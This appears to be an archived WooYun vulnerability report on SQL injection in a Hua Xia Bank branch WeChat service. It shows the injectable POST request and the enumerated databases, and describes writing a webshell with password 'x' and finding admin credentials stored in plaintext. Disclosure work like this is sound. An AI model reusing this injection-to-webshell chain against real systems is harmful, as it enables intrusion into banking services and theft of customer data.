华夏银行某业务SQL注入Getshell

编号167481
Urlhttp://www.wooyun.org/bug.php?action=view&id=167481
漏洞状态已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞标题华夏银行某业务SQL注入Getshell
漏洞类型SQL注射漏洞
厂商国家互联网应急响应中心
白帽子getshell1993
提交日期2016-01-05 16:42:00
公开日期2016-02-22 17:50:00
修复时间(not set)
确认时间2016-01-08 00:00:00
Confirm Spend3
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank8
漏洞简介
这个月还没打卡....
漏洞细节

微信上搜索华夏银行天津分行 公众号关注

1.png


2.png


点进去后找到一处SQL注入
POST /etc/ETCHandler.ashx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=ounf4sfhnewb2ekt3kbvbarg; Hm_lvt_c7003e59094627e49fb5f4894a94f4d9=1451965876; Hm_lpvt_c7003e59094627e49fb5f4894a94f4d9=1451966066
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
action=aztip&etcuserid=22861
available databases [14]:
[*] db_shb
[*] db_shb_test
[*] db_wgd
[*] db_wtj
[*] db_wyl
[*] master
[*] model
[*] msdb
[*] shbold
[*] souhuibao
[*] tempdb
[*] yhsh
[*] yhsh1
[*] yhsh2
dba权限
再结合数据库爆出来的路径写shell
d:\website\SouHuiBao-4.5-0708\SouHuiBao2015102801\SouHuiBao
http://**.**.**.**/test.asp 密码x
或者**.**.**.**/test.asp

POC

3.png


找到后台登陆 管理员账号密码明文
http://**.**.**.**/WebManage/main.aspx

4.png


看来影响的是多家银行 可充值消费

5.png

修复方案

严格过滤

状态信息 2016-01-05: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-22: 细节向公众公开
厂商回复CNVD未复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。
回应信息危害等级:中漏洞Rank:8 确认时间:2016-01-08 18:59
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

为什么不转型?

紫霞仙子02016-01-08 19:41:00

然而你已经打卡了

坏男孩-A_A02016-01-05 16:59:00